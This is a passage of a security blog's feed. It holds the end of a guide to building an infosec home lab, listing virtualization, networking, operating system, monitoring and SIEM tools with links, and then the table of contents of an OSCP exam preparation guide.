  &lt;li&gt;Virtual Box (free, but has limited performance issues)&lt;/li&gt;
  &lt;li&gt;Hyper-V (not available for Windows 10 Home)&lt;/li&gt;
  &lt;li&gt;QEMU (free, open source)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Virtualization software that you can run on your server:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;VMware ESXI&lt;/li&gt;
  &lt;li&gt;Hyper-V (Windows Server)&lt;/li&gt;
  &lt;li&gt;Proxmox&lt;/li&gt;
  &lt;li&gt;Xen&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Note: If you are planning to run your hypervisor on a wireless connection, I would recommend using Hyper-V or Proxmox because VMware-ESXI does not support the drivers for wireless devices. Make sure the wireless card that you are using can support the Infrastructure mode.&lt;/p&gt;

&lt;p&gt;Containers:&lt;/p&gt;

&lt;p&gt;When you are setting up a virtualized environment, containers can be a good solution that allows you to run certain applications, services, or tools in an isolated environment. In addition, these containers can be easily spun up and taken down when you are doing testing on certain programs. In order for you to run containers in your lab, you will need a host operating system and software that will run the containers. Here is a list of programs that you can use to spin up containers:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Docker (&lt;a href=&quot;https://www.docker.com/&quot;&gt;https://www.docker.com/&lt;/a&gt;): free to use and easy to use.&lt;/li&gt;
  &lt;li&gt;Vagrant (&lt;a href=&quot;https://www.vagrantup.com/&quot;&gt;https://www.vagrantup.com/&lt;/a&gt;): If you plan to use VMWare with it you will need to buy it.&lt;/li&gt;
  &lt;li&gt;Kubernetes (&lt;a href=&quot;https://kubernetes.io/&quot;&gt;https://kubernetes.io/&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;network-virtual-devices&quot;&gt;Network Virtual Devices:&lt;/h1&gt;

&lt;p&gt;In case you do not have the ability to purchase your own hardware network equipment, you may be able to run some of these network devices as a virtual machine to manage the network in your lab. Here is a list of certain network devices that you can virtualize for your lab.&lt;/p&gt;

&lt;p&gt;Routers:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;GNS3 (&lt;a href=&quot;https://gns3.com/software/download-vm&quot;&gt;https://gns3.com/software/download-vm&lt;/a&gt;): A network software emulator that allows you to simulate the network you are trying to build. In addition, you can leverage your existing hardware and you can expand your lab with the OS.&lt;/li&gt;
  &lt;li&gt;dd-wrt (&lt;a href=&quot;https://dd-wrt.com/&quot;&gt;https://dd-wrt.com/&lt;/a&gt;): Another open source router platform that can provide router functionality and additional services for virtual networks. (Note: It is commonly used on hardware devices that can support it, but it can be ran as a virtual appliance as well.)&lt;/li&gt;
  &lt;li&gt;linux-router (&lt;a href=&quot;https://github.com/garywill/linux-router&quot;&gt;https://github.com/garywill/linux-router&lt;/a&gt;: A linux application that has the ability to make changes to the linux system to be used as a router, hotspot, or a transparent proxy server.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Firewalls:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;pfSense (&lt;a href=&quot;https://pfsense.org/&quot;&gt;https://pfsense.org&lt;/a&gt;): An open source firewall with a variety of features that a commercial-class firewall would have. In addition, you can install packages to improve the security of your network.&lt;/li&gt;
  &lt;li&gt;OPNSense (&lt;a href=&quot;https://opnsense.org/&quot;&gt;https://opnsense.org/&lt;/a&gt;): Just like pfSense, withs a higher-end graphical web interface.&lt;/li&gt;
  &lt;li&gt;ClearOS (&lt;a href=&quot;https://www.clearos.com/&quot;&gt;https://www.clearos.com/&lt;/a&gt;): Another firewall you can play with. Keep in mind, only the community version is free. If you want access to the home version you will need to pay a subscription for it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For Raspberry Pi you could also run Pi-Hole (&lt;a href=&quot;https://pi-hole.net/&quot;&gt;https://pi-hole.net/&lt;/a&gt;). The Pi-Hole is a Linux network-level advertisement and Internet tracker application blocker which acts as a DNS sinkhole. When the Pi-Hole is configured it will act as a DNS Server on your private network.&lt;/p&gt;

&lt;h1 id=&quot;operating-systems&quot;&gt;Operating Systems:&lt;/h1&gt;

&lt;p&gt;In infosec it is important to learn both variants of Windows and Linux systems because you need to understand the fundamentals of these operating systems. Most corporations will have a mix of Windows or Linux systems in their environment that need to be protected. If a attack occurs you will need to assess the system and if you do not know how to analyze both of these operating systems, then you are in trouble. Having these operating systems in your home lab is where learning the fundamentals of the Linux or Windows operating system is essential.&lt;/p&gt;

&lt;h1 id=&quot;windows&quot;&gt;Windows:&lt;/h1&gt;

&lt;p&gt;Due to the license with which Microsoft Windows is distributed, a valid license needs to be purchased to cover the number of instances installed. However, the Microsoft Evaluation Center gives you the ability to run certain operating systems for a certain amount of time (90-120 days).&lt;/p&gt;

&lt;p&gt;Here are the only systems you can get from the Microsoft Evaluation Center: &lt;a href=&quot;https://www.microsoft.com/en-us/evalcenter/&quot;&gt;https://www.microsoft.com/en-us/evalcenter/&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Windows 10 Enterprise (32 or 64 bit)&lt;/li&gt;
  &lt;li&gt;Windows Server 2019 (32 or 64 bit)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Finding old versions of Windows can be tough but with a little help from Google we can find some shares that have them hosted publicly. Archive.org (&lt;a href=&quot;https://archive.org/&quot;&gt;https://archive.org&lt;/a&gt;) is another place to find older versions of Windows. Take your time to find the versions you are looking for as some of the files may not be actual the ISOs you need.&lt;/p&gt;

&lt;p&gt;Alternatively, a Visual Studio subscription can be purchased, allowing access to a wide range of Windows versions, both currently for sale and discontinued.&lt;/p&gt;

&lt;p&gt;If you are a college student or you have a college email address you may have the ability to access OnTheHub. OnTheHub is a discount center for students that can download products from Microsoft, Adobe, VMware and much more. If you want to know if your school is registered you can check here: &lt;a href=&quot;https://onthehub.com/search&quot;&gt;https://onthehub.com/search&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;unix-and-nix&quot;&gt;Unix and *Nix:&lt;/h1&gt;

&lt;p&gt;In the beginning there was &lt;a href=&quot;http://www.unix.org/&quot;&gt;UNIX&lt;/a&gt;. This name is trademarked and given to systems which meet &lt;a href=&quot;http://www.unix.org/what_is_unix/single_unix_specification.html&quot;&gt;Single UNIX Specification (SUS)&lt;/a&gt;. &lt;em&gt;(Using the term UNIX in any other manner _&lt;a href=&quot;http://www.unix.org/questions_answers/faq.html#7a&quot;&gt;_isn&apos;t technically allowed_&lt;/a&gt;&lt;/em&gt;.)_ From UNIX grew &lt;a href=&quot;http://www.bsd.org/&quot;&gt;Berkeley Software Distribution (BSD)&lt;/a&gt; sometimes called Berkeley Unix or BSD UNIX and similar UNIX operating systems, which didn&apos;t fully meet the specification. (From BSD UNIX came Darwin, which is the core of Apple OS X &amp;amp; iOS).&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;BSD - FreeBSD, OpenBSD, Solaris&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These similar UNIX OSs included MINIX, and various of the BSD which did not fully meet their criteria. With the growth of these UNIX clones (referred to as *NIX) variations formed, such as Linux.&lt;/p&gt;

&lt;p&gt;The Linux system is derived from UNIX as it is a continuation of the basis of UNIX design. Linux also refers to the kernel of the GNU/Linux Operating system, as the original code was developed by Linus Torvalds and the GNU Foundation. Each Linux distribution consists of having a Linux kernel, GNU system, GNU utilities, libraries, compiler, additional software, documentation, a window system, a window manager, and a desktop environment.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Linux Debian-based - Example: Debian, Ubuntu, antiX&lt;/li&gt;
  &lt;li&gt;Linux Arch-based: Manjaro, ArcoLinux, Anarchy Linux&lt;/li&gt;
  &lt;li&gt;Linux Slackware-based - Example: Slax, SuSE&lt;/li&gt;
  &lt;li&gt;Linux RPM-based - Example: Red Hat, CentOS, Fedora&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Wikipedia has a detailed list of the family tree of Linux which can be found &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_Linux_distributions&quot;&gt;here&lt;/a&gt;.
 Websites have been set up to track the updates of their releases; a good project is &lt;a href=&quot;https://distrowatch.com/&quot;&gt;Distro Watch&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;There is a wide range of operating systems which have been mentioned in the above lines, the vast majority of them free and open source. However, there are a few which are commercial.&lt;/p&gt;

&lt;p&gt;With this in mind, you are able to freely download and try many of the OS types. Using them will help you build up UNIX and *NIX skills, giving you a deeper computer knowledge.&lt;/p&gt;

&lt;h1 id=&quot;apple-mac-os&quot;&gt;Apple Mac OS:&lt;/h1&gt;

&lt;p&gt;This OS has been designed to use Apple&apos;s hardware (using it on non-Apple hardware is breaking their EULA). Various different virtualizing solutions (VMware Fusion and Parallel Desktop - neither are free) support OS X as a guest OS, allowing for a VM to be created on which to practice.&lt;/p&gt;

&lt;h1 id=&quot;daemonsservices&quot;&gt;Daemons/Services&lt;/h1&gt;

&lt;p&gt;After you have selected a few operating systems you want to run in your home lab, you should figure out what kind of programs or services you want to run on them. Keep in mind that certain services will only run on certain operating systems, so you will need to make sure you are using the correct operating system to run that desired service.&lt;/p&gt;

&lt;p&gt;Here are a few recommendations of services that you should learn how to set up and play with.File/Storage Services:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Freenas (&lt;a href=&quot;https://www.freenas.org/&quot;&gt;https://www.freenas.org/&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;OwnCloud (&lt;a href=&quot;https://owncloud.com/&quot;&gt;https://owncloud.com/&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;NextCloud (&lt;a href=&quot;https://nextcloud.com/&quot;&gt;https://nextcloud.com/&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Rockstor (&lt;a href=&quot;http://rockstor.com/&quot;&gt;http://rockstor.com/&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Web Services:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Apache (&lt;a href=&quot;https://httpd.apache.org/&quot;&gt;https://httpd.apache.org/&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Apache Tomcat (&lt;a href=&quot;http://tomcat.apache.org/&quot;&gt;http://tomcat.apache.org/&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;NGINX (&lt;a href=&quot;https://www.nginx.com/&quot;&gt;https://www.nginx.com/&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Lighttpd (&lt;a href=&quot;https://www.lighttpd.net/&quot;&gt;https://www.lighttpd.net/&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Node.js (&lt;a href=&quot;https://nodejs.org/en/&quot;&gt;https://nodejs.org/en/&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Can only be installed on Windows:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Internet Information Services (IIS) (&lt;a href=&quot;https://www.iis.net/&quot;&gt;https://www.iis.net/&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Other Services:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;DHCP Server&lt;/li&gt;
  &lt;li&gt;DNS Server&lt;/li&gt;
  &lt;li&gt;Mail Server&lt;/li&gt;
  &lt;li&gt;Active Directory (Must be installed through Windows Server)&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;monitoring-servicessystems&quot;&gt;Monitoring Services/Systems:&lt;/h1&gt;

&lt;p&gt;Once you have set up all your services, you are going to need some software or systems that pack a variety of security monitoring tools into it. After all, if you want to be in infosec you need to understand how certain attacks work and how to defend against it.&lt;/p&gt;

&lt;p&gt;Monitoring Systems:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Security Onion (&lt;a href=&quot;https://securityonion.net/&quot;&gt;https://securityonion.net/&lt;/a&gt;): A Linux-based system that is packed with a variety of open source security monitoring tools that you can test out.&lt;/li&gt;
  &lt;li&gt;TPot (&lt;a href=&quot;https://github.com/telekom-security/tpotce&quot;&gt;https://github.com/telekom-security/tpotce&lt;/a&gt;): A Linux-based system that contains a variety of honeypot services that you can run for monitoring and to understand how attackers are trying to access your network. Would recommend spinning this up as a research project for fun.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Monitoring Services:&lt;/p&gt;

&lt;p&gt;Although Security Onion packs a variety of tools into one system, it can be tough to learn all of them at once. It is important to learn how to configure some of these monitoring services manually for the first time and it also might be enough for what you need. Here are some services we recommend looking into depending on what type of monitoring you want to conduct on your home lab:&lt;/p&gt;

&lt;p&gt;Network Intrusion Detection/Prevention Services:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Snort (&lt;a href=&quot;https://www.snort.org/&quot;&gt;https://www.snort.org/&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Zeek (&lt;a href=&quot;https://zeek.org/&quot;&gt;https://zeek.org/&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Suricata (&lt;a href=&quot;https://suricata-ids.org/&quot;&gt;https://suricata-ids.org/&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;OSSEC (&lt;a href=&quot;https://www.ossec.net/&quot;&gt;https://www.ossec.net/&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Moloch (&lt;a href=&quot;https://github.com/aol/moloch&quot;&gt;https://github.com/aol/moloch&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Host-Based Endpoint Detection Services:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Velociraptor (&lt;a href=&quot;https://www.velocidex.com/&quot;&gt;https://www.velocidex.com/&lt;/a&gt;): An open source tool for collecting host-based state information that can be used to hunt/monitor suspicious activities on a system.&lt;/li&gt;
  &lt;li&gt;Bluespawn (&lt;a href=&quot;https://github.com/ION28/BLUESPAWN&quot;&gt;https://github.com/ION28/BLUESPAWN&lt;/a&gt;): An open source endpoint detection and response tool that can be used to identify, detect, and remove malicious activity on a system.&lt;/li&gt;
  &lt;li&gt;Wazuh (&lt;a href=&quot;https://github.com/wazuh/wazuh&quot;&gt;https://github.com/wazuh/wazuh&lt;/a&gt;): An open source host-based intrusion detection system that can detect threats, intrusion attempts, system anomalies, and much more. It has a server that is used to analyze the data and the agent can be installed on different systems to detect these threats.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Endpoint Log Collectors:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Sysmon (&lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon&quot;&gt;https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon&lt;/a&gt;): A Windows system service that allows you to log system activity to the Windows event log. The detailed information it collects can be passed through an event collection program or through a SIEM.&lt;/li&gt;
  &lt;li&gt;OSQuery (&lt;a href=&quot;https://github.com/osquery/osquery&quot;&gt;https://github.com/osquery/osquery&lt;/a&gt;): An open source tool that allows you to query for various system information. By using SQL statements to create your own queries, you can use it to detect and analyze for various types of threats that could be on the system.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Security Information and Event Management (SIEM) Tools:&lt;/p&gt;

&lt;p&gt;With all of the data you are going to be collecting and reviewing, you are going to need a SIEM to review it all at once. Security Onion and Tpot both use Elasticsearch, Logstash, and Kibana to help visualize the data you see. However, there are some other alternatives that people in the infosec community use as their SIEM. Here are some tools you may be interested in playing with:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Splunk (&lt;a href=&quot;https://splunk.com/&quot;&gt;https://splunk.com&lt;/a&gt;): A very popular SIEM tool that enterprise companies use to correlate the data or events in their network. Although Splunk has a free tier, it has a limit to only ingest 500MB of data per day. If you want to expand that limit, you can request a developer license and it will be able to ingest 50GB of data per day. The license will need to be renewed every six months. Here is the link to request a license: &lt;a href=&quot;https://www.splunk.com/en_us/resources/personalized-dev-test-licenses.html&quot;&gt;https://www.splunk.com/en_us/resources/personalized-dev-test-licenses.html&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Graylog (&lt;a href=&quot;https://www.graylog.org/&quot;&gt;https://www.graylog.org/&lt;/a&gt;): Another open source SIEM that can collect logs from almost any device. It has a nice visualization board that you can configure to display the data you want to visualize.&lt;/li&gt;
  &lt;li&gt;HELK (&lt;a href=&quot;https://github.com/Cyb3rWard0g/HELK&quot;&gt;https://github.com/Cyb3rWard0g/HELK&lt;/a&gt;): An open source threat hunting platform that uses open source tools such Elasticsearch, Logstash, and Kibana with advance hunting analytics capabilities to review the data that can be ingested into it. The platform is simple and easy to deploy. This community project was founded by Cyb3rWard0g and is still being maintained.&lt;/li&gt;
  &lt;li&gt;DetectionLab (&lt;a href=&quot;https://github.com/clong/DetectionLab&quot;&gt;https://github.com/clong/DetectionLab&lt;/a&gt;): A collection of packer and vagrant scripts that builds an entire Active Directory environment with a set of endpoint security tools. The scripts also have the ability to implement a variety of logging practices that you can review for testing purposes. The lab is customizable and it&apos;seasy to make modifications in the config scripts.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;other-resources&quot;&gt;Other Resources:&lt;/h1&gt;

&lt;p&gt;This section contains a variety of links I saved when I was looking to build my home lab.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hardware:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Ubiquiti: &lt;a href=&quot;https://www.ui.com/products/#default&quot;&gt;https://www.ui.com/products/#default&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Startech (&lt;a href=&quot;https://www.startech.com/&quot;&gt;https://www.startech.com/&lt;/a&gt;): A company to get network equipment/cables from.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Government auction sites to find servers or network equipment:&lt;/p&gt;

&lt;p&gt;Keep in mind what you bid on – if you win the bid you only have a few days to pick it up!&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Public Surplus: &lt;a href=&quot;http://www.publicsurplus.com/&quot;&gt;http://www.publicsurplus.com/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Govdeals: &lt;a href=&quot;https://www.govdeals.com/index.cfm&quot;&gt;https://www.govdeals.com/index.cfm&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Raspberry Pi:&lt;/p&gt;

&lt;p&gt;Building your own Raspberry Pi Cluster:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://magpi.raspberrypi.org/articles/build-a-raspberry-pi-cluster-computer&quot;&gt;https://magpi.raspberrypi.org/articles/build-a-raspberry-pi-cluster-computer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.howtoraspberry.com/index.php/2020/08/28/din-r-plate-raspberry-pi-rack-system/&quot;&gt;https://www.howtoraspberry.com/index.php/2020/08/28/din-r-plate-raspberry-pi-rack-system/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cluster Boards:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Turingpi: &lt;a href=&quot;https://turingpi.com/&quot;&gt;https://turingpi.com/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Pi Dramble: &lt;a href=&quot;http://www.pidramble.com/&quot;&gt;http://www.pidramble.com/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Networking:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;pfSense Resources:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Documentation: &lt;a href=&quot;https://docs.netgate.com/pfsense/en/latest/*&quot;&gt;https://docs.netgate.com/pfsense/en/latest/*&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Reddit: &lt;a href=&quot;https://www.reddit.com/r/PFSENSE/&quot;&gt;https://www.reddit.com/r/PFSENSE/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Lawrence Systems PFsense Tutorials: &lt;a href=&quot;https://www.youtube.com/watch?v=fsdm5uc_LsU&amp;amp;list=PLjGQNuuUzvmsuXCoj6g6vm1N-ZeLJso6o&quot;&gt;https://www.youtube.com/watch?v=fsdm5uc_LsU&amp;amp;list=PLjGQNuuUzvmsuXCoj6g6vm1N-ZeLJso6o&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;DD-WRT:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Documentation: &lt;a href=&quot;https://wiki.dd-wrt.com/wiki/index.php/Installation&quot;&gt;https://wiki.dd-wrt.com/wiki/index.php/Installation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Software:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/awesome-selfhosted/awesome-selfhosted&quot;&gt;https://github.com/awesome-selfhosted/awesome-selfhosted&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tools to Draw Network Diagrams:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Online Tools:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Draw.io: &lt;a href=&quot;https://app.diagrams.net/&quot;&gt;https://app.diagrams.net/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Creately: &lt;a href=&quot;https://app.creately.com/diagram/&quot;&gt;https://app.creately.com/diagram/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;LucidChart: &lt;a href=&quot;https://www.lucidchart.com/pages/&quot;&gt;https://www.lucidchart.com/pages/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Offline Tools:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Microsoft Visio: &lt;a href=&quot;https://www.microsoft.com/en-us/microsoft-365/visio/flowchart-software&quot;&gt;https://www.microsoft.com/en-us/microsoft-365/visio/flowchart-software&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Edraw: &lt;a href=&quot;https://www.edrawsoft.com/edraw-max/&quot;&gt;https://www.edrawsoft.com/edraw-max/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Windows:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Windows Active Directory: &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview&quot;&gt;https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Building a Domain Lab: &lt;a href=&quot;https://social.technet.microsoft.com/wiki/contents/articles/36438.windows-server-2016-build-a-windows-domain-lab-at-home-for-free.aspx#Download&quot;&gt;https://social.technet.microsoft.com/wiki/contents/articles/36438.windows-server-2016-build-a-windows-domain-lab-at-home-for-free.aspx#Download&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Building an Effective Active Directory Environment: &lt;a href=&quot;https://adsecurity.org/?p=2653&quot;&gt;https://adsecurity.org/?p=2653&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Building an Active Directory Lab by SethSec: &lt;a href=&quot;https://sethsec.blogspot.com/2017/06/pentest-home-lab-0x2-building-your-ad.html&quot;&gt;https://sethsec.blogspot.com/2017/06/pentest-home-lab-0x2-building-your-ad.html&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Practices for Securing Active Directory: &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/best-practices-for-securing-active-directory&quot;&gt;https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/best-practices-for-securing-active-directory&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tool/Scripts to automate the deployment of your Windows Lab:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;WSLab: &lt;a href=&quot;https://github.com/microsoft/WSLab&quot;&gt;https://github.com/microsoft/WSLab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;AutomatedLab: &lt;a href=&quot;https://github.com/AutomatedLab/AutomatedLab&quot;&gt;https://github.com/AutomatedLab/AutomatedLab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Invoke-UserSimulator: &lt;a href=&quot;https://github.com/ubeeri/Invoke-UserSimulator&quot;&gt;https://github.com/ubeeri/Invoke-UserSimulator&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;ADImporter: [https://github.com/curi0usJack/ADImporter](https://github.com/curi0usJack/ADImporter%5C)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Linux:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Tools:&lt;/p&gt;

&lt;p&gt;Centrify (Active Directory Integration): &lt;a href=&quot;https://www.centrify.com/pam/authentication-service/active-directory-bridging/integration/&quot;&gt;https://www.centrify.com/pam/authentication-service/active-directory-bridging/integration/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This tool allows you to integrate your linux systems into Active Directory and they can be able to easily join the domain. This allow provides the ability to do single sign-on (SSO)&lt;/p&gt;

&lt;p&gt;Other Tools/Scripts for Lab Automation:&lt;/p&gt;

&lt;p&gt;These tools can be used to automate some of the manual work you will have to do in your homelab. Depending on which tool you use, it will take some time to understand how they work but it can save hours from rebuilding those systems from scratch.&lt;/p&gt;

&lt;p&gt;Terraform: &lt;a href=&quot;https://www.terraform.io/&quot;&gt;https://www.terraform.io/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ansible: &lt;a href=&quot;https://www.ansible.com/resources/get-started&quot;&gt;https://www.ansible.com/resources/get-started&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Puppet: &lt;a href=&quot;https://puppet.com/&quot;&gt;https://puppet.com/&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion:&lt;/h1&gt;

&lt;p&gt;Having a home lab is a great way to build your skills and experience. It is important to be patient when you decide to build your lab and customize it the way you like it. There are a variety of ways to build a home lab, but make sure the way you build it matches your intended purpose. Most importantly, I hope the resources and tips that I have provided in this guide will give you a good baseline to get started.&lt;/p&gt;
</description>
            <pubDate>Sun, 31 Jul 2022 00:00:00 +0000</pubDate>
        </item>
        
        <item>
            <title>The Journey to Try Harder: TJnull’s Preparation Guide for PEN-200 PWK/OSCP 2.0</title>
            <link>/oscp/2021/05/06/The_Journey_to_Try_Harder-_TJnull-s_Preparation_Guide_for_PEN-200_PWK_OSCP_2.0.html</link>
            <guid isPermaLink="true">/oscp/2021/05/06/The_Journey_to_Try_Harder-_TJnull-s_Preparation_Guide_for_PEN-200_PWK_OSCP_2.0.html</guid>
            <description>&lt;h3 id=&quot;table-of-contents&quot;&gt;Table of Contents:&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#overview&quot;&gt;Overview&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#dedication&quot;&gt;Dedication&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#a-word-of-warning&quot;&gt;A Word of Warning!&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-1-general-course-information&quot;&gt;Section 1: General Course Information&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-2-getting-comfortable-with-kali-linux&quot;&gt;Section 2: Getting Comfortable with Kali Linux&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-3-linux-command-line-kung-fu&quot;&gt;Section 3: Linux Command Line Kung-Fu&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-4-essential-tools-in-kali&quot;&gt;Section 4: Essential Tools in Kali&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-5-getting-started-with-bash-scripting&quot;&gt;Section 5: Getting Started with Bash Scripting&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-6-passive-reconnaissance&quot;&gt;Section 6: Passive Reconnaissance&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-7-active-reconnaissance&quot;&gt;Section 7: Active Reconnaissance&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-8-vulnerability-scanning&quot;&gt;Section 8: Vulnerability Scanning&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-9-web-application-attacks&quot;&gt;Section 9: Web Application Attacks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-10-buffer-overflows-for-windows-and-linux&quot;&gt;Section 10: Buffer Overflows for Windows and Linux&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-11-client-side-attacks&quot;&gt;Section 11: Client-Side Attacks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-12-handling-public-exploits&quot;&gt;Section 12: Working with Public Exploits&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-13-transferring-files-to-your-target&quot;&gt;Section 13: Transferring Files to your target&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-14-antivirus-bypassing&quot;&gt;Section 14: Antivirus Bypassing&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-15-privilege-escalation&quot;&gt;Section 15: Privilege Escalation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-16-password-cracking&quot;&gt;Section 16: Password Cracking&lt;/a&gt;&lt;/li&gt;
